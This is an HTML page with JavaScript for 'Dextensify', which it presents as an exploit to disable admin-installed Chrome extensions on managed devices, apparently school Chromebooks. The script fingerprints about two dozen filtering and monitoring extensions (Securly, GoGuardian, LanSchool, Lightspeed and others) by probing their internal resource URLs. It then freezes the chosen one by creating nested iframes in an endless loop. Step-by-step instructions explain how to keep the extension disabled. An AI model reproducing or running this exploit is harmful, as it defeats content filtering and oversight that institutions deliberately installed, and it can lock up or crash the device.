<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Dextensify</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <style>
      * {
        font-family: Sans-serif;
        color: #d4d3da;
      }
      a {
        color: #6daebd;
      }
      a:hover {
        color: #4f9eb0;
      }      
      pre, code {
        font-family: monospace;
        background-color: #1e2324;
        padding: 4px;
        overflow-x: auto;
      }
      pre {
        padding: 8px;
      }
      pre code {
        background-color: transparent;
        border: none;
        padding: 0px;
      }
      body {
        background-color: #1e2324;
        width: 100%;
        height: 100%;
        margin: 0px;
      }
      button {
        background-color: #33626c;
        padding: 6px;
        padding-left: 8px;
        padding-right: 8px;
        border: transparent;
        font-size: 15px;
      }
      #main_div {
        max-width: 800px;
        object-fit: contain;

        background-color: #252b2d;

        padding: 4px;
        padding-left: 16px;
        padding-right: 16px;
        
        margin: 16px;
        margin-left: auto;
        margin-right: auto;
      }
      #buttons_container {
        display: flex;
        flex-wrap: wrap;
        gap: 8px;
      }
    </style>
    <script>
      let from_id = id => document.getElementById(id);
      let extensions = {
        "securly_new": {
          name: "Securly",
          url: "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css"
        },
        "securly_old": {
          name: "Securly (old)",
          url: "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css"
        },
        "goguardian": {
          name: "Goguardian",
          url: "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js"
        },
        "lanschool": {
          name: "LANSchool",
          url: "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html"
        },
        "linewize": {
          name: "Linewize",
          url: "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html"
        },
        "blocksi": {
          name: "Blocksi",
          url: "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html"
        },
        "fortiguard": {
          name: "Fortiguard",
          url: "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js"
        },
        "cisco": {
          name: "Cisco Umbrella",
          url: "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html"
        },
        "contentkeeper": {
          name: "ContentKeeper",
          url: "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png"
        },
        "contentkeeperg3": {
          name: "CK-Authenticator G3",
          url: "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png"
        },
        "securlyclassroom": {
          name: "Securly Classroom",
          url: "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html"
        },
        "hapara": {
          name: "Hapara",
          url: "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html"
        },
        "hapara-new-id": {
          name: "Hapara",
          url: "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html"
        },
        "iboss": {
          name: "iboss",
          url: "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html"
        },
        "lightspeedfilteragent": {
          name: "Lightspeed Filter Agent",
          url: "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png"
        },
        "lightspeedclassroom": {
          name: "Lightspeed Classroom",
          url: "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png"
        },
        "interclass": {
          name: "InterCLASS Filtering Service",
          url: "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html"
        },
        "intersafe": {
          name: "InterSafe GatewayConnection Agent",
          url: "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js"
        },
        "loilo": {
          name: "ロイロWebフィルター/LoiLo Web Filters",
          url: "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png"
        },
        "gopher_buddy": {
          name: "Gopher Buddy",
          url: "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png"
        },
        "lanschool_helper": {
          name: "LanSchool Web Helper",
          url: "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html"
        },
        "imtlazarus": {
          name: "IMTLazarus",
          url: "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json"
        },
        "impero_backdrop": {
          name: "Impero Backdrop",
          url: "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html"
        },
        "mobile_guardian": {
          name: "Mobile Guardian",
          url: "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html"
        },
      };

      let frames;

      async function check_url(url) {
        let controller = new AbortController();
        let timeout = setTimeout(() => controller.abort(), 500);

        try {
          await fetch(url, {signal: controller.signal});
          return true;
        }
        catch (error) {
          let error_msg = error+"";
          return error_msg.includes("AbortError");
        }
      }
      
      async function detect_extensions() {
        let detected = [];
        for (let extension of Object.values(extensions)) {
          let exists = await check_url(extension.url);
          if (exists) {
            detected.push(extension);
          }
        }
        return detected;
      }

      async function main() {
        let detected = await detect_extensions();
        let buttons_container = from_id("buttons_container")

        if (!window.chrome) {
          buttons_container.innerHTML = `<p><b>Error: You are not running a Chromium-based browser.</b></p>`;
          return;
        }
        else if (detected.length === 0) {
          buttons_container.innerHTML = `<p><b>Error: No supported extensions detected.</b></p>`;
          buttons_container.innerHTML += `<p style="margin-top: -16px;">If you want support for a specific extension added, please make an issue on the <a href="https://github.com/ading2210/dextensify">Github repository</a>, and provide the extension ID and manifest.</p>`;
          return;
        }
        else {
          buttons_container.innerHTML = ""
        }

        for (let extension of detected) {
          let button = document.createElement("button");
          button.innerText = `Freeze ${extension.name}`;
          button.onclick = () => {
            button_handler(extension);
          }
          buttons_container.append(button);
        }
      }

      function button_handler(extension) {
        let cancel = !confirm("After hitting OK, there will be a 5 second delay until the extension starts being frozen. Switch to another tab immediately to prevent the entire device from locking up.");
        if (cancel) return;

        frames = document.getElementById("framerate-value").value;
        if (frames == undefined || frames == '') {
          console.log('Frames defaulting to 50!');
          frames = 50;
        }

        setTimeout(() => {
          create_iframes(extension);
        }, 5000);
      }

      function create_iframes(extension) {
        let iframes = []
        let iterations = 5;
        let public_url = extension.url;
        
        
        while (true) {
          let iframe = document.createElement("iframe");
          document.body.append(iframe);
          iframes.push(iframe);

          //let subframe_count = Math.max(2, 200 - iterations);

          for (let i=0; i<frames; i++) {
            let subframe = document.createElement("iframe");
            subframe.src = public_url;
            subframe.style.width = subframe.style.height = "1px";
            iframe.contentDocument.body.append(subframe);
          }

          while (iframes.length > Math.max(3, 10-iterations)) {
            iframes[0].remove();
            iframes.shift();
          }

          iterations++;
        }
      }

      window.onload = main;
    </script>
  </head>
  <body>
    <div id="main_div">
      <h1 style="margin-top: 8px">Dextensify</h1>
      <p>Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage.</p>
      <h2>Instructions</h2>
      <ol>
        <li>Open chrome://extensions in a new tab. Keep this page open.</li>
        <li>Go to the settings page for the extension you want to disable.</li>
        <li>On the Dextensify page, click the "freeze extension" button. Immediately switch back to the chrome://extensions tab.</li>
        <li>Back on the chrome://extensions page, spam the "allow access to file URLs" switch for a few seconds.</li>
        <li>The extension should now be temporarily disabled. For this effect to persist, flip the "allow access to file URLs" again every few minutes, or if pages start getting blocked again.</li>
        <li>You may also need to reopen this page every once in a while to prevent an unavoidable memory leak from crashing the system.</li>
      </ol>
      <p>During this process, your Chromebook may hang momentarily. This is normal, and it should resolve itself after a few seconds.</p>
      <!-- <h2>Options</h2> -->
      <div id="options-container">
        <label for="frames"><h3>Framerate:</h3></label>
        <p>Framerate at which dextensify freezes extentions. The default is 50, but that can be hard to deal with.
        I recommend using 1000 instead of 50 to prevent your computer from crashing.
        </p><br>
        <input type="number" id="framerate-value" name="frames" required minlength="1" maxlength="2" size="10" />
      </div>
      <br> <br>
      <div id="buttons_container">
        <p><i>Detecting extensions...</i></p>
      </div>
      
      <br>
      <hr>
          Original code by <a href="https://ading.dev" target="_blank">ading2210</a>.<br>
          Updated and improved by <a href="https://github.com/STPv22" target="_blank">STPv22</a> <br>
          <a href="https://github.com/STPv22/Dextensify" target="_blank">Submit an issue</a>
        <p style="font-size: 13px; text-align: right;"><i>MIT Licence Version 1.1.2</i></p>
    </div>
  </body>
</html>

